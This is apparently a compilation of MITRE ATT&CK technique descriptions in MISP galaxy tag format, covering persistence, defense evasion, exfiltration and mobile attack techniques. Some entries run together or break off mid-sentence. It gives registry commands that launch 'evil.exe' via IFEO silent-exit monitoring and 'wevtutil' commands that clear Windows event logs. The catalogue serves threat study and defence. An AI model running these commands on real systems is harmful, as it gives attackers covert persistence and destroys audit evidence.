Misconfiguration by end users is a common problem. There have been numerous incidents where cloud storage has been improperly secured (typically by unintentionally allowing public access by unauthenticated users or overly-broad access by all users), allowing open access to credit cards, personally identifiable information, medical records, and other sensitive information.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017) Adversaries may also obtain leaked credentials in source repositories, logs, or other means as a way to gain access to cloud storage objects that have access permission
controls.

\textbf{Download New Code at Runtime - T1407}

An app could download and execute dynamic code (not included in the original application package) after installation to evade static analysis techniques (and potentially dynamic analysis techniques) used for application vetting or application store review.(Citation: Poeplau-ExecuteThis)

On Android, dynamic code could include native code, Dalvik code, or JavaScript code that uses the Android WebView's JavascriptInterface capability.(Citation: Bromium-AndroidRCE)

On iOS, techniques also exist for executing dynamic code downloaded after application installation.(Citation: FireEye-JSPatch)(Citation: Wang)

The tag is: \textit{misp-galaxy:mitre-attack-pattern=}"Download New Code at Runtime - T1407"

\textit{Table 2212. Table References}
Windows Management Instrumentation Event Subscription - T1084

Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts into Windows Management Object (MOF) files (.mof extension). (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer’s uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)

The tag is: `misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1084"`

Custom Command and Control Protocol - T1094

Adversaries may communicate using a custom command and control protocol instead of encapsulating commands/data in an existing [Standard Application Layer Protocol](https://attack.mitre.org/techniques/T1071). Implementations include mimicking well-known protocols or developing custom protocols (including raw sockets) on top of fundamental protocols provided by TCP/IP/another standard network stack.

The tag is: `misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094"`
App Delivered via Web Download - T1431

The application is downloaded from an arbitrary web site. A link to the application's download URI may be sent in an email or SMS, placed on another web site that the target is likely to view, or sent via other means (such as QR code).

Detection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices.

Platforms: Android, iOS

The tag is: `misp-galaxy:mitre-attack-pattern="App Delivered via Web Download - T1431"`

App Delivered via Web Download - T1431 has relationships with:

Image File Execution Options Injection - T1183

Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application's name, effectively launching the new process under the debugger (e.g., “C:\dbg\ntsd.exe -g notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010)

IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as `<code>Debugger</code>` values in the Registry under `<code>HKLM\SOFTWARE\{Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<executable></code>` where `<code><executable></code>` is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)

IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and `<code>silent process exit</code>` Registry values in `<code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit</code>`. (Citation: Microsoft Silent Process Exit NOV 2017)
An example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018)

- `<code>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512</code>
- `<code>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1</code>
- `<code>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"</code>

Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Endgame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.

Malware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)

**SIP and Trust Provider Hijacking - T1198**

In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation:
Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)

Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPS July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)

Similar to [Code Signing](https://attack.mitre.org/techniques/T1116), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by:

- Modifying the `<code>DLL</code>` and `<code>FuncName</code>` Registry values in <code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP's CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file's real signature, an adversary can apply an acceptable signature value all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).

- Modifying the `<code>DLL</code>` and `<code>FuncName</code>` Registry values in <code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData{SIP_GUID}</code> that point to the DLL providing a SIP's CryptSIPDllVerifyIndirectData function, which validates a file's computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.

- Modifying the `<code>DLL</code>` and `<code>Function</code>` Registry values in <code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\Providers\Trust\FinalPolicy \{trust provider GUID}</code> that point to the DLL providing a trust provider's FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP's CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).

- **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order
Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)

### File and Directory Permissions Modification - T1222

File and directory permissions are commonly managed by discretionary access control lists (DACLs) specified by the file or directory owner. File and directory DACL implementations may vary by platform, but generally explicitly designate which users/groups can perform which actions (ex: read, write, execute, etc.). (Citation: Microsoft DACL May 2018) (Citation: Microsoft File Rights May 2018) (Citation: Unix File Permissions)

Adversaries may modify file or directory permissions/attributes to evade intended DACLs. (Citation: Hybrid Analysis Icacls1 June 2018) (Citation: Hybrid Analysis Icacls2 May 2018) Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions such as Administrator/root depending on the file or directory's existing permissions to enable malicious activity such as modifying, replacing, or deleting specific files/directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1015), [Logon Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files.

**SSL certificate acquisition for domain - T1337**

Certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Acquiring a certificate for a domain name similar to one that is expected to be trusted may allow an adversary to trick a user into trusting the domain (e.g., vvachovia instead of [Wachovia](https://www.wellsfargo.com/about/corporate/wachovia) homoglyphs). App Delivered via Email Attachment - T1434

The application is delivered as an email attachment.

Detection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices. Enterprise email security solutions can identify the presence of Android or iOS application packages within email messages.

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-attack-pattern="App Delivered via Email Attachment - T1434"

App Delivered via Email Attachment - T1434 has relationships with:

Table References

Links

https://attack.mitre.org/techniques/T1434

Build and configure delivery systems - T1347

Delivery systems are the infrastructure used by the adversary to host malware or other tools used during exploitation. Building and configuring delivery systems may include multiple activities such as registering domain names, renting hosting space, or configuring previously exploited environments. (Citation: APT1)

The tag is: misp-galaxy:mitre-attack-pattern="Build and configure delivery systems - T1347"
Automated system performs requested action - T1384

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Users may be performing legitimate activity but using media that is compromised (e.g., using a USB drive that comes with malware installed during manufacture or supply). Upon insertion in the system the media auto-runs and the malware executes without further action by the user. (Citation: WSUSpect2015)

The tag is: `misp-galaxy:mitre-attack-pattern="Automated system performs requested action - T1384"`

Eavesdrop on Insecure Network Communication - T1439

If network traffic between the mobile device and remote servers is unencrypted or is encrypted in an insecure manner, then an adversary positioned on the network can eavesdrop on communication. (Citation: mHealth)

The tag is: `misp-galaxy:mitre-attack-pattern="Eavesdrop on Insecure Network Communication - T1439"`

Distribute malicious software development tools - T1394

An adversary could distribute malicious software development tools (e.g., compiler) that hide malicious behavior in software built using the tools. (Citation: PA XcodeGhost) (Citation: Reflections on Trusting Trust)
Transfer Data to Cloud Account - T1537

An adversary may exfiltrate data by transferring the data, including backups of cloud environments, to another cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection.

A defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.

Incidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts. (Citation: DOJ GRU Indictment Jul 2018)

Review logs and residual traces - T1358

Execution of code and network communications often result in logging or other system or network forensic artifacts. An adversary can run their code to identify what is recorded under different conditions. This may result in changes to their code or adding additional actions (such as deleting a record from a log) to the code. (Citation: EDB-39007) (Citation: infosec-covering-tracks)

Runtime code download and execution - T1395

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). These app stores scan submitted applications for malicious behavior. However, applications can evade these scans by downloading and executing new code at runtime that was not included in the original application package. (Citation: Fruit vs Zombies) (Citation: Android Hax) (Citation: Execute This!) (Citation: HT Fake News App) (Citation: Anywhere Computing kill 2FA) (Citation: Android Security Review 2015)

The tag is: misp-galaxy:mitre-attack-pattern="Runtime code download and execution - T1395"

### Test malware to evade detection - T1359

An adversary can run their code on systems with cyber security protections, such as antivirus products, in place to see if their code is detected. They can also test their malware on freely available public services. (Citation: MalwareQAZirtest)

The tag is: misp-galaxy:mitre-attack-pattern="Test malware to evade detection - T1359"

### Replace legitimate binary with malware - T1378

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Replacing a legitimate binary with malware can be accomplished either by replacing a binary on a legitimate download site or standing up a fake or alternative site with the malicious binary. The intent is to have a user download and run the malicious binary thereby executing malware. (Citation: FSecureICS)

The tag is: misp-galaxy:mitre-attack-pattern="Replace legitimate binary with malware - T1378"

### Compromise of externally facing system - T1388

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
Externally facing systems allow connections from outside the network as a normal course of operations. Externally facing systems may include, but are not limited to, websites, web portals, email, DNS, FTP, VPN concentrators, and border routers and firewalls. These systems could be in a demilitarized zone (DMZ) or may be within other parts of the internal environment. (Citation: CylanceOpCleaver) (Citation: DailyTechAntiSec)

**Table 2245. Table References**
Remotely Wipe Data Without Authorization - T1469

An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an EMM console could use that access to wipe enrolled devices (Citation: Honan-Hacking).

The tag is: misp-galaxy:mitre-attack-pattern="Remotely Wipe Data Without Authorization - T1469"

Install Insecure or Malicious Configuration - T1478

An adversary could attempt to install insecure or malicious configuration settings on the mobile device, through means such as phishing emails or text messages either directly containing the configuration settings as an attachment, or containing a web link to the configuration settings. The device user may be tricked into installing the configuration settings through social engineering techniques (Citation: Symantec-iOSProfile).

For example, an unwanted Certification Authority (CA) certificate could be placed in the device's trusted certificate store, increasing the device's susceptibility to man-in-the-middle network attacks seeking to eavesdrop on or manipulate the device's network communication ([Eavesdrop on Insecure Network Communication](https://attack.mitre.org/techniques/T1439) and [Manipulate Device Communication](https://attack.mitre.org/techniques/T1463)).

On iOS, malicious Configuration Profiles could contain unwanted Certification Authority (CA) certificates or other insecure settings such as unwanted proxy server or VPN settings to route the device's network traffic through an adversary's system. The device could also potentially be enrolled into a malicious Mobile Device Management (MDM) system (Citation: Talos-MDM).

The tag is: misp-galaxy:mitre-attack-pattern="Install Insecure or Malicious Configuration - T1478"
Aggregate individual’s digital footprint - T1275

In addition to a target's social media presence may exist a larger digital footprint, such as accounts and credentials on e-commerce sites or usernames and logins for email. An adversary familiar with a target’s username can mine to determine the target’s larger digital footprint via publicly available sources. (Citation: DigitalFootprint) (Citation: trendmicro-vtech)

The tag is: misp-galaxy:mitre-attack-pattern="Aggregate individual’s digital footprint - T1275"

Domain Generation Algorithms (DGA) - T1323

The use of algorithms in malware to periodically generate a large number of domain names which function as rendezvous points for malware command and control servers. (Citation: DamballaDGA) (Citation: DambballaDGACyberCriminals)

Unconditional client-side exploitation/Injected Website/Driveby - T1372

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

A technique used to compromise victims wherein the victims visit a compromised website that redirects their browser to a malicious web site, such as an exploit kit’s landing page. The exploit kit landing page will probe the victim's operating system, web browser, or other software to find an exploitable vulnerability to infect the victim. (Citation: GeorgeDriveBy) (Citation: BellDriveBy)

The tag is: misp-galaxy:mitre-attack-pattern="Unconditional client-side exploitation/Injected Website/Driveby - T1372"
LLMNR/NBT-NS Poisoning and Relay - T1171

Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)

Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)

Several tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoof) (Citation: GitHub Responder)

The tag is: *misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and Relay - T1171"*

**Standard Non-Application Layer Protocol - T1095**

Use of a standard non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive. (Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).

ICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.

Deobfuscate/Decode Files or Information - T1140

Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, [Scripting](https://attack.mitre.org/techniques/T1064), [PowerShell](https://attack.mitre.org/techniques/T1086), or by using utilities present on the system.

One such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia)

Another example is using the Windows `<code>copy /b</code>` command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)

Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used with [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) during Initial Access or later to mitigate detection. Sometimes a user’s action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.

Assign KITs/KIQs into categories - T1228

Leadership organizes Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) into three types of categories and creates more if necessary. An example of a description of key players KIT would be when an adversary assesses the cyber defensive capabilities of a nation-state threat actor. (Citation: Herring1999)

The tag is: `misp-galaxy:mitre-attack-pattern="Assign KITs/KIQs into categories - T1228"`

Receive operator KITs/KIQs tasking - T1235

Analysts may receive intelligence requirements from leadership and begin research process to satisfy a requirement. Part of this process may include delineating between needs and wants and thinking through all the possible aspects associating with satisfying a requirement. (Citation: FBIIntelligencePrimer)

The tag is: `misp-galaxy:mitre-attack-pattern="Receive operator KITs/KIQs tasking - T1235"`

Data Transfer Size Limits - T1030

An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer...
threshold alerts.

The tag is: `misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030"`

### Data from Local System - T1005

Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system prior to Exfiltration.

Adversaries will often search the file system on computers they have compromised to find files of interest. They may do this using a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106), which has functionality to interact with the file system to gather information. Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.

The tag is: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"`

### File System Logical Offsets - T1006

Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)

Utilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)

The tag is: `misp-galaxy:mitre-attack-pattern="File System Logical Offsets - T1006"`
**Indicator Removal on Host - T1070**

Adversaries may delete or alter generated artifacts on a host system, including logs and potentially captured files such as quarantined malware. Locations and format of logs will vary, but typical organic system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1139) and /var/log/*. Actions that interfere with eventing and other notifications that can be used to detect intrusion activity may compromise the integrity of security solutions, causing events to go unreported. They may also make forensic analysis and incident response more difficult due to lack of sufficient data to determine what occurred.

**Clear Windows Event Logs**

Windows event logs are a record of a computer's alerts and notifications. Microsoft defines an event as "any significant occurrence in the system or in a program that requires users to be notified or an entry added to a log." There are three system-defined sources of Events: System, Application, and Security.

Adversaries performing actions related to account management, account logon and directory service access, etc. may choose to clear the events in order to hide their activities.

The event logs can be cleared with the following utility commands:

- `<code>wevtutil cl system</code>`
- `<code>wevtutil cl application</code>`
- `<code>wevtutil cl security</code>`

Logs may also be cleared through other mechanisms, such as [PowerShell](https://attack.mitre.org/techniques/T1086).

The tag is: `misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070"

**Exploitation of Remote Services - T1210**

Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote
services is for lateral movement to enable access to a remote system.

An adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Scanning](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.

There are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services. (Citation: NVD CVE-2014-7169)

Depending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.

The tag is: *misp-galaxy:mitre-attack-pattern=*"Exploitation of Remote Services - T1210"

**System Network Configuration Discovery - T1016**

Adversaries will likely look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).

Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

The tag is: *misp-galaxy:mitre-attack-pattern=*"System Network Configuration Discovery - T1016"

**Table 2264. Table References**
Standard Application Layer Protocol - T1071

Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are RPC, SSH, or RDP.

Replication Through Removable Media - T1091

Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.

Exploitation for Client Execution - T1203

Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development.
because of their high utility.

Several types exist:

**Browser-based Exploitation**

Web browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1192). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.

**Office Applications**

Common office and productivity applications such as Microsoft Office are also targeted through [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193), [Spearphishing Link](https://attack.mitre.org/techniques/T1192), and [Spearphishing via Service](https://attack.mitre.org/techniques/T1194). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.

**Common Third-party Applications**

Other applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.

**Change Default File Association - T1042**

When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.

System file associations are listed under `<code>HKEY_CLASSES_ROOT\[extension]</code>`, for example `<code>HKEY_CLASSES_ROOT\.txt</code>`. The entries point to a handler for that extension.
located at `<code>HKEY_CLASSES_ROOT\[handler]\</code>`]. The various commands are then listed as subkeys underneath the shell key at `<code>HKEY_CLASSES_ROOT\[handler\}\shell\[action]\\command</code>`. For example: * `<code>HKEY_CLASSES_ROOT\txtfile\shell\open\\command</code> * `<code>HKEY_CLASSES_ROOT\txtfile\shell\print\\command</code> * `<code>HKEY_CLASSES_ROOT\txtfile\shell\printto\\command</code>

The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)

**File and Directory Discovery - T1420**

On Android, command line tools or the Java file APIs can be used to enumerate file system contents. However, Linux file permissions and SELinux policies generally strongly restrict what can be accessed by apps (without taking advantage of a privilege escalation exploit). The contents of the external storage directory are generally visible, which could present concern if sensitive data is inappropriately stored there.

iOS's security architecture generally restricts the ability to perform file and directory discovery without use of escalated privileges.

**Data from Removable Media - T1025**

Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration.

Adversaries may search connected removable media on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within
[cmd](https://attack.mitre.org/software/S0106) may be used to gather information. Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media.

#### Exfiltration Over Physical Medium - T1052

In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.

#### Obfuscated Files or Information - T1027

Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.

Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user’s action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.

Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)

Adversaries may also obfuscate commands executed from payloads or directly via a [Command-Line Interface](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and whitelisting mechanisms. (Citation: FireEye Obfuscation June 2017)
Another example of obfuscation is through the use of steganography, a technique of hiding messages or code in images, audio tracks, video clips, or text files. One of the first known and reported adversaries that used steganography activity surrounding [Invoke-PSImage](https://attack.mitre.org/software/S0231). The Duqu malware encrypted the gathered information from a victim’s system and hid it into an image followed by exfiltrating the image to a C2 server. (Citation: Wikipedia Duqu) By the end of 2017, an adversary group used [Invoke-PSImage](https://attack.mitre.org/software/S0231) to hide PowerShell commands in an image file (png) and execute the code on a victim’s system. In this particular case the PowerShell code downloaded another obfuscated script to gather intelligence from the victim’s machine and communicate it back to the adversary. (Citation: McAfee Malicious Doc Targets Pyeongchang Olympics)

**Communication Through Removable Media - T1092**

Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091). Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.
**Modify Cached Executable Code - T1403**

ART (the Android Runtime) compiles optimized code on the device itself to improve performance. An adversary may be able to use escalated privileges to modify the cached code in order to hide malicious behavior. Since the code is compiled on the device, it may not receive the same level of integrity checks that are provided to code running in the system partition. (Citation: Sabanal-ART)

**Credentials from Web Browsers - T1503**

